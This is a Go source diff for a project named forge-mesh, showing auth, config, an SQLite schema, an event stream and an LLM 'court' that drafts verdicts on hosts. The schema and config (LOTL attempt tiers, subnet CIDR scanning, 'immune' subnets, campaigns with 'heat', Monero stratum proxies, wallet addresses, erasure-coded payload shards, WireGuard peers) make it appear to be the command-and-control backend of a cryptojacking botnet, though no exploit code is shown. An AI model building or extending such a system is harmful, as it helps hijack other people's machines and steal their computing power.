string `json:"type"` + Duration int `json:"duration_minutes,omitempty"` + Config map[string]string `json:"config,omitempty"` +} + +// MiningProfile is an ordered list of mining tiers pushed to agents. +type MiningProfile struct { + ID string `json:"id"` + Name string `json:"name"` + WalletAddress string `json:"wallet_address"` + Tiers []MiningTierSpec `json:"tiers"` + PolicyFromServer bool `json:"policy_from_server"` + CreatedAt time.Time `json:"created_at"` + UpdatedAt time.Time `json:"updated_at"` +} diff --git a/internal/auth/auth.go b/internal/auth/auth.go new file mode 100644 index 0000000..fe91f36 --- /dev/null +++ b/internal/auth/auth.go @@ -0,0 +1,131 @@ +package auth + +import ( + "crypto/rand" + "encoding/base64" + "encoding/json" + "net/http" + "strings" + "sync" + "time" +) + +// Credentials for HTTP Basic and fleet bearer auth. +type Credentials struct { + BasicUsername string + BasicPassword string + FleetSecret string +} + +// TicketStore issues short-lived WebSocket tickets after Basic login. +type TicketStore struct { + mu sync.Mutex + tickets map[string]time.Time + ttl time.Duration +} + +// NewTicketStore creates a ticket store with the default TTL. +func NewTicketStore(ttl ...time.Duration) *TicketStore { + d := 5 * time.Minute + if len(ttl) > 0 && ttl[0] > 0 { + d = ttl[0] + } + return &TicketStore{ + tickets: make(map[string]time.Time), + ttl: d, + } +} + +func (s *TicketStore) Issue() (string, error) { + b := make([]byte, 24) + if _, err := rand.Read(b); err != nil { + return "", err + } + ticket := base64.RawURLEncoding.EncodeToString(b) + s.mu.Lock() + defer s.mu.Unlock() + s.tickets[ticket] = time.Now().Add(s.ttl) + s.gcLocked() + return ticket, nil +} + +func (s *TicketStore) Validate(ticket string) bool { + s.mu.Lock() + defer s.mu.Unlock() + exp, ok := s.tickets[ticket] + if !ok || time.Now().After(exp) { + delete(s.tickets, ticket) + return false + } + return true +} + +// Consume validates and removes a one-time ticket. +func (s *TicketStore) Consume(ticket string) bool { + s.mu.Lock() + defer s.mu.Unlock() + exp, ok := s.tickets[ticket] + if !ok || time.Now().After(exp) { + delete(s.tickets, ticket) + return false + } + delete(s.tickets, ticket) + return true +} + +func (s *TicketStore) gcLocked() { + now := time.Now() + for k, exp := range s.tickets { + if now.After(exp) { + delete(s.tickets, k) + } + } +} + +// ExtractBearer returns the token from an Authorization Bearer header. +func ExtractBearer(r *http.Request) string { + auth := r.Header.Get("Authorization") + if !strings.HasPrefix(auth, "Bearer ") { + return "" + } + return strings.TrimPrefix(auth, "Bearer ") +} + +// BasicAuthMiddleware protects routes with HTTP Basic credentials. +func BasicAuthMiddleware(username, password string) func(http.Handler) http.Handler { + return func(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + user, pass, ok := r.BasicAuth() + if !ok || user != username || pass != password { + w.Header().Set("WWW-Authenticate", `Basic realm="forge-mesh"`) + http.Error(w, "unauthorized", http.StatusUnauthorized) + return + } + next.ServeHTTP(w, r) + }) + } +} + +// BasicAuthMiddlewareCreds is the struct-based variant for router wiring. +func BasicAuthMiddlewareCreds(creds Credentials) func(http.Handler) http.Handler { + return BasicAuthMiddleware(creds.BasicUsername, creds.BasicPassword) +} + +// FleetSecretMiddleware validates agent bearer tokens. +func FleetSecretMiddleware(secret string, next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + token := ExtractBearer(r) + if token == "" || token != secret { + http.Error(w, "unauthorized", http.StatusUnauthorized) + return + } + next.ServeHTTP(w, r) + }) +} + +// JSON writes a JSON response. +func JSON(w http.ResponseWriter, status int, v any) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _ = json.NewEncoder(w).Encode(v) +} diff --git a/internal/auth/auth_test.go b/internal/auth/auth_test.go new file mode 100644 index 0000000..ec13253 --- /dev/null +++ b/internal/auth/auth_test.go @@ -0,0 +1,82 @@ +package auth + +import ( + "net/http" + "net/http/httptest" + "testing" +) + +func TestTicketStoreIssueValidate(t *testing.T) { + store := NewTicketStore(0) + ticket, err := store.Issue() + if err != nil || ticket == "" { + t.Fatal("expected valid ticket") + } + if !store.Validate(ticket) { + t.Fatal("expected valid ticket") + } + if store.Validate("invalid") { + t.Fatal("expected invalid ticket to fail") + } +} + +func TestTicketStoreConsume(t *testing.T) { + store := NewTicketStore(0) + ticket, err := store.Issue() + if err != nil || !store.Consume(ticket) { + t.Fatal("expected consume to succeed") + } + if store.Validate(ticket) { + t.Fatal("consumed ticket should be invalid") + } +} + +func TestBasicAuthMiddleware(t *testing.T) { + handler := BasicAuthMiddleware("admin", "secret")(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(http.StatusOK) + })) + + req := httptest.NewRequest(http.MethodGet, "/", nil) + rec := httptest.NewRecorder() + handler.ServeHTTP(rec, req) + if rec.Code != http.StatusUnauthorized { + t.Fatalf("expected 401, got %d", rec.Code) + } + + req = httptest.NewRequest(http.MethodGet, "/", nil) + req.SetBasicAuth("admin", "secret") + rec = httptest.NewRecorder() + handler.ServeHTTP(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("expected 200, got %d", rec.Code) + } +} + +func TestFleetSecretMiddleware(t *testing.T) { + handler := FleetSecretMiddleware("fleet-secret", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(http.StatusOK) + })) + + req := httptest.NewRequest(http.MethodPost, "/beacon", nil) + rec := httptest.NewRecorder() + handler.ServeHTTP(rec, req) + if rec.Code != http.StatusUnauthorized { + t.Fatalf("expected 401, got %d", rec.Code) + } + + req = httptest.NewRequest(http.MethodPost, "/beacon", nil) + req.Header.Set("Authorization", "Bearer fleet-secret") + rec = httptest.NewRecorder() + handler.ServeHTTP(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("expected 200, got %d", rec.Code) + } +} + +func TestExtractBearer(t *testing.T) { + req := httptest.NewRequest(http.MethodGet, "/", nil) + req.Header.Set("Authorization", "Bearer abc123") + if got := ExtractBearer(req); got != "abc123" { + t.Fatalf("expected abc123, got %q", got) + } +} diff --git a/internal/config/config.go b/internal/config/config.go new file mode 100644 index 0000000..5fc83e5 --- /dev/null +++ b/internal/config/config.go @@ -0,0 +1,134 @@ +package config + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" +) + +// Config holds forge-mesh server configuration loaded from config.json. +type Config struct { + ListenAddr string `json:"listen_addr"` + DataDir string `json:"data_dir"` + DatabasePath string `json:"database_path"` + OperatorClearance int `json:"operator_clearance"` + Auth AuthConfig `json:"auth"` + WalletPolicy WalletPolicy `json:"wallet_policy"` + Stratum StratumConfig `json:"stratum"` + Forge ForgeConfig `json:"forge"` + Court CourtConfig `json:"court"` + Telegram TelegramConfig `json:"telegram"` +} + +// TelegramConfig holds alert bot settings (W19). +type TelegramConfig struct { + Enabled bool `json:"enabled"` + BotToken string `json:"bot_token"` + ChatID string `json:"chat_id"` +} + +type AuthConfig struct { + BasicUsername string `json:"basic_username"` + BasicPassword string `json:"basic_password"` + FleetSecret string `json:"fleet_secret"` +} + +type WalletPolicy struct { + DefaultWallet string `json:"default_wallet"` + Currency string `json:"currency"` +} + +type StratumConfig struct { + XMRListen string `json:"xmr_listen"` + RVNListen string `json:"rvn_listen"` + UpstreamXMR string `json:"upstream_xmr"` + UpstreamRVN string `json:"upstream_rvn"` +} + +type ForgeConfig struct { + SigningKeyPath string `json:"signing_key_path"` + ArtifactsDir string `json:"artifacts_dir"` +} + +type CourtConfig struct { + OllamaURL string `json:"ollama_url"` + Enabled bool `json:"enabled"` +} + +// Load reads and parses config from the given JSON file path. +func Load(path string) (*Config, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("read config: %w", err) + } + + var cfg Config + if err := json.Unmarshal(data, &cfg); err != nil { + return nil, fmt.Errorf("parse config: %w", err) + } + + cfg.applyDefaults(path) + if err := cfg.validate(); err != nil { + return nil, err + } + + return &cfg, nil +} + +func (c *Config) applyDefaults(configPath string) { + if c.ListenAddr == "" { + c.ListenAddr = ":8989" + } + if c.DataDir == "" { + c.DataDir = filepath.Dir(configPath) + } + if c.DatabasePath == "" { + c.DatabasePath = filepath.Join(c.DataDir, "forge-mesh.db") + } + if c.Auth.BasicUsername == "" { + c.Auth.BasicUsername = "admin" + } + if c.Auth.BasicPassword == "" { + c.Auth.BasicPassword = "changeme" + } + if c.WalletPolicy.Currency == "" { + c.WalletPolicy.Currency = "XMR" + } + if c.Stratum.XMRListen == "" { + c.Stratum.XMRListen = ":3333" + } + if c.Stratum.RVNListen == "" { + c.Stratum.RVNListen = ":3388" + } + if c.Forge.ArtifactsDir == "" { + c.Forge.ArtifactsDir = filepath.Join(c.DataDir, "artifacts") + } + if c.Forge.SigningKeyPath == "" { + c.Forge.SigningKeyPath = filepath.Join(c.DataDir, "signing.key") + } + if c.Court.OllamaURL == "" { + c.Court.OllamaURL = "http://127.0.0.1:11434" + } + if c.OperatorClearance == 0 { + c.OperatorClearance = 4 + } +} + +func (c *Config) validate() error { + if c.ListenAddr == "" { + return fmt.Errorf("listen_addr is required") + } + return nil +} + +// EnsureDataDirs creates data directories referenced by the config. +func (c *Config) EnsureDataDirs() error { + dirs := []string{c.DataDir, c.Forge.ArtifactsDir} + for _, dir := range dirs { + if err := os.MkdirAll(dir, 0o755); err != nil { + return fmt.Errorf("mkdir %s: %w", dir, err) + } + } + return nil +} diff --git a/internal/court/court.go b/internal/court/court.go new file mode 100644 index 0000000..958dddb --- /dev/null +++ b/internal/court/court.go @@ -0,0 +1,262 @@ +package court + +import ( + "bytes" + "context" + "crypto/rand" + "database/sql" + "encoding/hex" + "encoding/json" + "fmt" + "io" + "net/http" + "strings" + "time" + + "forge-mesh/internal/config" + "forge-mesh/internal/fleet" +) + +// Court runs the Singular Machine Court with prosecutor/defender/judge roles. +type Court struct { + DB *sql.DB + Config config.CourtConfig + Fleet *fleet.Store + Client *http.Client +} + +func New(db *sql.DB, cfg config.CourtConfig, fleetStore *fleet.Store) *Court { + return &Court{ + DB: db, + Config: cfg, + Fleet: fleetStore, + Client: &http.Client{Timeout: 120 * time.Second}, + } +} + +// Session represents an active or resolved court case. +type Session struct { + ID string `json:"id"` + HostID string `json:"host_id"` + Status string `json:"status"` + Transcript []TranscriptLine `json:"transcript"` + Verdict string `json:"verdict,omitempty"` + ClearanceRequired int `json:"clearance_required"` + CreatedAt time.Time `json:"created_at"` + ResolvedAt *time.Time `json:"resolved_at,omitempty"` +} + +type TranscriptLine struct { + Role string `json:"role"` + Content string `json:"content"` + Timestamp string `json:"timestamp"` +} + +// OpenSession starts a court case for a stuck host. +func (c *Court) OpenSession(ctx context.Context, hostID string) (*Session, error) { + id := newID() + _, err := c.DB.ExecContext(ctx, ` + INSERT INTO court_sessions (id, host_id, status, clearance_required) + VALUES (?, ?, 'open', 4)`, id, hostID) + if err != nil { + return nil, err + } + _ = c.emitSeer(ctx, hostID, "court_open", map[string]string{"session_id": id}) + return c.GetSession(ctx, id) +} + +// GetSession loads a court session by ID. +func (c *Court) GetSession(ctx context.Context, sessionID string) (*Session, error) { + var s Session + var transcript, verdict, created, resolved sql.NullString + err := c.DB.QueryRowContext(ctx, ` + SELECT id, host_id, status, transcript_json, COALESCE(verdict,''), clearance_required, created_at, resolved_at + FROM court_sessions WHERE id = ?`, sessionID). + Scan(&s.ID, &s.HostID, &s.Status, &transcript, &verdict, &s.ClearanceRequired, &created, &resolved) + if err != nil { + return nil, err + } + if transcript.Valid { + _ = json.Unmarshal([]byte(transcript.String), &s.Transcript) + } + s.Verdict = verdict.String + if t, err := time.Parse("2006-01-02 15:04:05", created.String); err == nil { + s.CreatedAt = t + } + if resolved.Valid && resolved.String != "" { + if t, err := time.Parse("2006-01-02 15:04:05", resolved.String); err == nil { + s.ResolvedAt = &t + } + } + return &s, nil +} + +// Deliberate runs prosecutor/defender/judge via Ollama when enabled. +func (c *Court) Deliberate(ctx context.Context, sessionID string) (*Session, error) { + s, err := c.GetSession(ctx, sessionID) + if err != nil { + return nil, err + } + + evidence := c.gatherEvidence(ctx, s.HostID) + prosecutor, err := c.prompt(ctx, "prosecutor", evidence, "Argue why this host should be remediated aggressively.") + if err != nil { + prosecutor = fmt.Sprintf("[ollama unavailable] host %s shows repeated tier failures", s.HostID) + } + defender, err := c.prompt(ctx, "defender", evidence, "Argue for conservative remediation and tier retry.") + if err != nil { + defender = "Recommend adaptive tier reorder before destructive action." + } + judgePrompt := fmt.Sprintf("Prosecutor: %s\nDefender: %s\nIssue a concise operational verdict.", prosecutor, defender) + verdict, err := c.prompt(ctx, "judge", evidence, judgePrompt) + if err != nil { + verdict = "retry_adaptive_tiers" + } + + now := time.Now().UTC().Format(time.RFC3339) + s.Transcript = append(s.Transcript, + TranscriptLine{Role: "prosecutor", Content: prosecutor, Timestamp: now}, + TranscriptLine{Role: "defender", Content: defender, Timestamp: now}, + TranscriptLine{Role: "judge", Content: verdict, Timestamp: now}, + ) + + b, _ := json.Marshal(s.Transcript) + _, err = c.DB.ExecContext(ctx, ` + UPDATE court_sessions SET transcript_json = ?, status = 'deliberated' WHERE id = ?`, + string(b), sessionID) + if err != nil { + return nil, err + } + + _ = c.emitSeer(ctx, s.HostID, "court_deliberated", map[string]string{"session_id": sessionID, "verdict_draft": verdict}) + return c.GetSession(ctx, sessionID) +} + +func (c *Court) gatherEvidence(ctx context.Context, hostID string) string { + var hostname, status string + var hashrate float64 + _ = c.DB.QueryRowContext(ctx, `SELECT hostname, status, hashrate FROM hosts WHERE id = ?`, hostID). + Scan(&hostname, &status, &hashrate) + + var b strings.Builder + fmt.Fprintf(&b, "Host: %s (%s) status=%s hashrate=%.2f\n", hostID, hostname, status, hashrate) + + if c.Fleet != nil { + attempts, _ := c.Fleet.ListLOTL(ctx, hostID, 20) + for _, a := range attempts { + fmt.Fprintf(&b, "LOTL tier=%d phase=%s status=%s err=%s\n", a.Tier, a.Phase, a.Status, a.Error) + } + } + return b.String() +} + +type ollamaRequest struct { + Model string `json:"model"` + Prompt string `json:"prompt"` + Stream bool `json:"stream"` +} + +type ollamaResponse struct { + Response string `json:"response"` +} + +func (c *Court) prompt(ctx context.Context, role, evidence, instruction string) (string, error) { + if !c.Config.Enabled { + return fmt.Sprintf("[%s stub] %s", role, instruction), nil + } + + body := ollamaRequest{ + Model: "llama3.2", + Prompt: fmt.Sprintf("You are the %s in Singular Machine Court.\nEvidence:\n%s\n\n%s", role, evidence, instruction), + Stream: false, + } + payload, _ := json.Marshal(body) + + req, err := http.NewRequestWithContext(ctx, http.MethodPost, strings.TrimRight(c.Config.OllamaURL, "/")+"/api/generate", bytes.NewReader(payload)) + if err != nil { + return "", err + } + req.Header.Set("Content-Type", "application/json") + + resp, err := c.Client.Do(req) + if err != nil { + return "", err + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + raw, _ := io.ReadAll(resp.Body) + return "", fmt.Errorf("ollama status %d: %s", resp.StatusCode, string(raw)) + } + + var out ollamaResponse + if err := json.NewDecoder(resp.Body).Decode(&out); err != nil { + return "", err + } + return strings.TrimSpace(out.Response), nil +} + +// DispatchVerdict applies an L4 verdict and closes the session. +func (c *Court) DispatchVerdict(ctx context.Context, sessionID, verdict string, clearance int) error { + if clearance < 4 { + return fmt.Errorf("L4 clearance required for verdict dispatch (got L%d)", clearance) + } + + s, err := c.GetSession(ctx, sessionID) + if err != nil { + return err + } + + _, err = c.DB.ExecContext(ctx, ` + UPDATE court_sessions SET verdict = ?, status = 'resolved', resolved_at = datetime('now') + WHERE id = ?`, verdict, sessionID) + if err != nil { + return err + } + + _ = c.emitSeer(ctx, s.HostID, "verdict_dispatched", map[string]string{ + "session_id": sessionID, + "verdict": verdict, + }) + + return c.applyVerdict(ctx, s.HostID, verdict) +} + +func (c *Court) applyVerdict(ctx context.Context, hostID, verdict string) error { + switch strings.ToLower(verdict) { + case "retry_adaptive_tiers", "adaptive_retry": + if c.Fleet == nil { + return nil + } + order, err := c.Fleet.GetAdaptiveOrder(ctx, "") + if err != nil { + return err + } + _, err = RunAdaptiveRetry(ctx, c.Fleet, hostID, order) + return err + case "pause_host", "pause": + _, err := c.DB.ExecContext(ctx, `UPDATE hosts SET status = 'paused', updated_at = datetime('now') WHERE id = ?`, hostID) + return err + default: + return nil + } +} + +// RunAdaptiveRetry triggers tier chain with adaptive order (helper to avoid import cycle). +func RunAdaptiveRetry(ctx context.Context, store *fleet.Store, hostID string, order []int) ([]*fleet.TierResult, error) { + return fleet.RunTierChain(ctx, store, hostID, order) +} + +func (c *Court) emitSeer(ctx context.Context, hostID, eventType string, payload map[string]string) error { + b, _ := json.Marshal(payload) + _, err := c.DB.ExecContext(ctx, ` + INSERT INTO seer_events (id, host_id, event_type, payload_json) VALUES (?, ?, ?, ?)`, + newID(), hostID, eventType, string(b)) + return err +} + +func newID() string { + b := make([]byte, 16) + _, _ = rand.Read(b) + return hex.EncodeToString(b) +} diff --git a/internal/court/seer.go b/internal/court/seer.go new file mode 100644 index 0000000..b20fa9d --- /dev/null +++ b/internal/court/seer.go @@ -0,0 +1,153 @@ +package court + +import ( + "context" + "database/sql" + "encoding/json" + "fmt" + "net/http" + "time" +) + +// SeerHub broadcasts court and LOTL events over SSE. +type SeerHub struct { + DB *sql.DB +} + +func NewSeerHub(db *sql.DB) *SeerHub { + return &SeerHub{DB: db} +} + +// SeerEvent is one SSE payload line. +type SeerEvent struct { + ID string `json:"id"` + HostID string `json:"host_id,omitempty"` + EventType string `json:"event_type"` + Payload json.RawMessage `json:"payload"` + CreatedAt time.Time `json:"created_at"` +} + +// StreamHandler serves GET /seer as Server-Sent Events. +func (h *SeerHub) StreamHandler() http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + flusher, ok := w.(http.Flusher) + if !ok { + http.Error(w, "streaming unsupported", http.StatusInternalServerError) + return + } + + w.Header().Set("Content-Type", "text/event-stream") + w.Header().Set("Cache-Control", "no-cache") + w.Header().Set("Connection", "keep-alive") + + since := r.URL.Query().Get("since") + ticker := time.NewTicker(2 * time.Second) + defer ticker.Stop() + + for { + select { + case <-r.Context().Done(): + return + case <-ticker.C: + events, err := h.fetchEvents(r.Context(), since) + if err != nil { + fmt.Fprintf(w, "event: error\ndata: %q\n\n", err.Error()) + flusher.Flush() + continue + } + for _, ev := range events { + b, _ := json.Marshal(ev) + fmt.Fprintf(w, "event: seer\ndata: %s\n\n", b) + since = ev.CreatedAt.Format("2006-01-02 15:04:05") + } + flusher.Flush() + } + } + } +} + +func (h *SeerHub) fetchEvents(ctx context.Context, since string) ([]SeerEvent, error) { + q := `SELECT id, COALESCE(host_id,''), event_type, payload_json, created_at FROM seer_events` + var rows *sql.Rows + var err error + if since != "" { + rows, err = h.DB.QueryContext(ctx, q+` WHERE created_at > ? ORDER BY created_at ASC LIMIT 50`, since) + } else { + rows, err = h.DB.QueryContext(ctx, q+` ORDER BY created_at DESC LIMIT 20`) + } + if err != nil { + return nil, err + } + defer rows.Close() + + var events []SeerEvent + for rows.Next() { + var ev SeerEvent + var created string + var payload string + if err := rows.Scan(&ev.ID, &ev.HostID, &ev.EventType, &payload, &created); err != nil { + return nil, err + } + ev.Payload = json.RawMessage(payload) + ev.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created) + events = append(events, ev) + } + return events, rows.Err() +} + +// TimelineHandler serves LOTL timeline merged with court events for a host. +func TimelineHandler(c *Court) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + hostID := r.PathValue("host_id") + if hostID == "" { + http.Error(w, "host_id required", http.StatusBadRequest) + return + } + + type entry struct { + Kind string `json:"kind"` + Timestamp time.Time `json:"timestamp"` + Data interface{} `json:"data"` + } + + var timeline []entry + + if c.Fleet != nil { + lotl, err := c.Fleet.ListLOTL(r.Context(), hostID, 100) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + for _, a := range lotl { + timeline = append(timeline, entry{Kind: "lotl", Timestamp: a.CreatedAt, Data: a}) + } + } + + rows, err := c.DB.QueryContext(r.Context(), ` + SELECT id, status, COALESCE(verdict,''), created_at, COALESCE(resolved_at,'') + FROM court_sessions WHERE host_id = ? ORDER BY created_at DESC LIMIT 20`, hostID) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + defer rows.Close() + for rows.Next() { + var id, status, verdict, created, resolved string + if err := rows.Scan(&id, &status, &verdict, &created, &resolved); err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + ts, _ := time.Parse("2006-01-02 15:04:05", created) + timeline = append(timeline, entry{ + Kind: "court", Timestamp: ts, + Data: map[string]string{"session_id": id, "status": status, "verdict": verdict}, + }) + } + + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(map[string]interface{}{ + "host_id": hostID, + "timeline": timeline, + }) + } +} diff --git a/internal/db/db.go b/internal/db/db.go new file mode 100644 index 0000000..7bc6730 --- /dev/null +++ b/internal/db/db.go @@ -0,0 +1,240 @@ +package db + +import ( + "database/sql" + "fmt" + "os" + "path/filepath" + "strings" + + _ "github.com/mattn/go-sqlite3" +) + +const schema = ` +PRAGMA foreign_keys = ON; + +CREATE TABLE IF NOT EXISTS hosts ( + id TEXT PRIMARY KEY, + hostname TEXT NOT NULL, + fingerprint TEXT, + phenotype TEXT, + status TEXT NOT NULL DEFAULT 'offline', + hashrate REAL NOT NULL DEFAULT 0, + hashrate_hps REAL NOT NULL DEFAULT 0, + current_tier INTEGER NOT NULL DEFAULT 0, + tier_type TEXT NOT NULL DEFAULT '', + tier_state TEXT NOT NULL DEFAULT 'idle', + clearance_level INTEGER NOT NULL DEFAULT 0, + mining_profile_id TEXT, + last_seen_at TEXT, + created_at TEXT NOT NULL DEFAULT (datetime('now')), + updated_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE TABLE IF NOT EXISTS tiers ( + id TEXT PRIMARY KEY, + host_id TEXT NOT NULL REFERENCES hosts(id) ON DELETE CASCADE, + tier_order INTEGER NOT NULL, + tier_type TEXT NOT NULL, + config_json TEXT NOT NULL DEFAULT '{}', + status TEXT NOT NULL DEFAULT 'pending', + started_at TEXT, + ended_at TEXT, + created_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE INDEX IF NOT EXISTS idx_tiers_host_id ON tiers(host_id); + +CREATE TABLE IF NOT EXISTS campaigns ( + id TEXT PRIMARY KEY, + code TEXT NOT NULL UNIQUE, + name TEXT NOT NULL, + pin TEXT, + heat INTEGER NOT NULL DEFAULT 0, + created_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE TABLE IF NOT EXISTS lotl_attempts ( + id TEXT PRIMARY KEY, + host_id TEXT NOT NULL REFERENCES hosts(id) ON DELETE CASCADE, + tier INTEGER NOT NULL, + phase TEXT NOT NULL, + status TEXT NOT NULL, + error TEXT, + metadata_json TEXT NOT NULL DEFAULT '{}', + created_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE INDEX IF NOT EXISTS idx_lotl_attempts_host_id ON lotl_attempts(host_id); + +CREATE TABLE IF NOT EXISTS mining_profiles ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + wallet_address TEXT NOT NULL DEFAULT '', + tiers_json TEXT NOT NULL DEFAULT '[]', + policy_from_server INTEGER NOT NULL DEFAULT 1, + created_at TEXT NOT NULL DEFAULT (datetime('now')), + updated_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE TABLE IF NOT EXISTS builds ( + id TEXT PRIMARY KEY, + os TEXT NOT NULL, + arch TEXT NOT NULL, + version TEXT NOT NULL, + checksum TEXT NOT NULL, + signature TEXT, + public INTEGER NOT NULL DEFAULT 0, + path TEXT, + created_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE INDEX IF NOT EXISTS idx_builds_public ON builds(public, os, arch); + +CREATE TABLE IF NOT EXISTS failure_atlas ( + id TEXT PRIMARY KEY, + phenotype TEXT NOT NULL, + tier INTEGER NOT NULL, + failure_count INTEGER NOT NULL DEFAULT 0, + immune_until TEXT, + created_at TEXT NOT NULL DEFAULT (datetime('now')), + updated_at TEXT NOT NULL DEFAULT (datetime('now')), + UNIQUE(phenotype, tier) +); + +CREATE TABLE IF NOT EXISTS subnet_cidrs ( + id TEXT PRIMARY KEY, + cidr TEXT NOT NULL UNIQUE, + enabled INTEGER NOT NULL DEFAULT 1, + last_scan_at TEXT, + created_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE TABLE IF NOT EXISTS subnet_immune ( + prefix TEXT PRIMARY KEY, + failure_count INTEGER NOT NULL DEFAULT 0, + paused_until TEXT, + updated_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE TABLE IF NOT EXISTS phenotype_tier_orders ( + phenotype TEXT PRIMARY KEY, + tier_order_json TEXT NOT NULL DEFAULT '[]', + wins INTEGER NOT NULL DEFAULT 0, + updated_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE TABLE IF NOT EXISTS erasure_bundles ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + total_shards INTEGER NOT NULL DEFAULT 6, + data_shards INTEGER NOT NULL DEFAULT 4, + parity_shards INTEGER NOT NULL DEFAULT 2, + checksum TEXT NOT NULL, + created_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE TABLE IF NOT EXISTS erasure_shards ( + id TEXT PRIMARY KEY, + bundle_id TEXT NOT NULL REFERENCES erasure_bundles(id) ON DELETE CASCADE, + shard_index INTEGER NOT NULL, + data BLOB NOT NULL, + created_at TEXT NOT NULL DEFAULT (datetime('now')), + UNIQUE(bundle_id, shard_index) +); + +CREATE TABLE IF NOT EXISTS policy_snapshots ( + token TEXT PRIMARY KEY, + policy_json TEXT NOT NULL, + expires_at TEXT, + created_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE TABLE IF NOT EXISTS court_sessions ( + id TEXT PRIMARY KEY, + host_id TEXT NOT NULL REFERENCES hosts(id) ON DELETE CASCADE, + status TEXT NOT NULL DEFAULT 'pending', + transcript_json TEXT NOT NULL DEFAULT '[]', + verdict TEXT, + clearance_required INTEGER NOT NULL DEFAULT 4, + created_at TEXT NOT NULL DEFAULT (datetime('now')), + resolved_at TEXT +); + +CREATE INDEX IF NOT EXISTS idx_court_sessions_host_id ON court_sessions(host_id); + +CREATE TABLE IF NOT EXISTS seer_events ( + id TEXT PRIMARY KEY, + host_id TEXT, + event_type TEXT NOT NULL, + payload_json TEXT NOT NULL DEFAULT '{}', + created_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE INDEX IF NOT EXISTS idx_seer_events_created_at ON seer_events(created_at); + +CREATE TABLE IF NOT EXISTS wireguard_peers ( + id TEXT PRIMARY KEY, + host_id TEXT, + public_key TEXT NOT NULL, + endpoint TEXT, + allowed_ips TEXT NOT NULL DEFAULT '10.66.66.2/32', + config_json TEXT NOT NULL DEFAULT '{}', + created_at TEXT NOT NULL DEFAULT (datetime('now')) +); +` + +// Open opens (or creates) the SQLite database and applies the schema. +func Open(path string) (*sql.DB, error) { + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + return nil, fmt.Errorf("mkdir db dir: %w", err) + } + + dsn := fmt.Sprintf("file:%s?_foreign_keys=on&_journal_mode=WAL", path) + conn, err := sql.Open("sqlite3", dsn) + if err != nil { + return nil, fmt.Errorf("open sqlite: %w", err) + } + + if err := conn.Ping(); err != nil { + conn.Close() + return nil, fmt.Errorf("ping sqlite: %w", err) + } + + if _, err := conn.Exec(schema); err != nil { + conn.Close() + return nil, fmt.Errorf("apply schema: %w", err) + } + + if err := migrate(conn); err != nil { + conn.Close() + return nil, fmt.Errorf("migrate: %w", err) + } + + return conn, nil +} + +func migrate(conn *sql.DB) error { + columns := []string{ + "ALTER TABLE hosts ADD COLUMN hashrate_hps REAL NOT NULL DEFAULT 0", + "ALTER TABLE hosts ADD COLUMN current_tier INTEGER NOT NULL DEFAULT 0", + "ALTER TABLE hosts ADD COLUMN tier_type TEXT NOT NULL DEFAULT ''", + "ALTER TABLE hosts ADD COLUMN tier_state TEXT NOT NULL DEFAULT 'idle'", + } + for _, stmt := range columns { + if _, err := conn.Exec(stmt); err != nil { + if !isDuplicateColumn(err) { + return err + } + } + } + return nil +} + +func isDuplicateColumn(err error) bool { + if err == nil { + return false + } + msg := err.Error() + return strings.Contains(msg, "duplicate column") || strings.Contains(msg, "already exists") +} diff --git a/internal/erasure/erasure_test.go b/internal/erasure/erasure_test.go new file mode 100644 index 0000000..c16a803 --- /dev/null +++ b/internal/erasure/erasure_test.go @@ -0,0 +1,58 @@ +package erasure + +import ( + "context" + "bytes" + "testing" + + "forge-mesh/internal/db" +) + +func TestEncodeReconstruct4Plus2(t *testing.T) { + conn, err := db.Open(t.TempDir() + "/test.db") + if err != nil { + t.Fatal(err) + } + defer conn.Close() + + svc := NewService(conn) + ctx := context.Background() + payload := []byte("forge-mesh erasure shard payload for T12 reassembly") + + bundle, err := svc.Encode(ctx, "test-bundle", payload) + if err != nil { + t.Fatal(err) + } + if bundle.DataShards != 4 || bundle.ParityShards != 2 { + t.Fatalf("expected 4+2, got %d+%d", bundle.DataShards, bundle.ParityShards) + } + + // Reconstruct with any 4 of 6 shards + rebuilt, err := svc.Reconstruct(ctx, bundle.ID, []int{0, 1, 2, 5}) + if err != nil { + t.Fatal(err) + } + if !bytes.Equal(payload, rebuilt) { + t.Fatalf("reconstruct mismatch: got %q want %q", rebuilt, payload) + } +} + +func TestReconstructNeedsMinShards(t *testing.T) { + conn, err := db.Open(t.TempDir() + "/test.db") + if err != nil { + t.Fatal(err) + } + defer conn.Close() + + svc := NewService(conn) + ctx := context.Background() + bundle, err := svc.Encode(ctx, "small", []byte("x")) + if err != nil { + t.Fatal(err) + } + + _, err = svc.Reconstruct(ctx, bundle.ID, []int{0, 1, 2}) + if err == nil 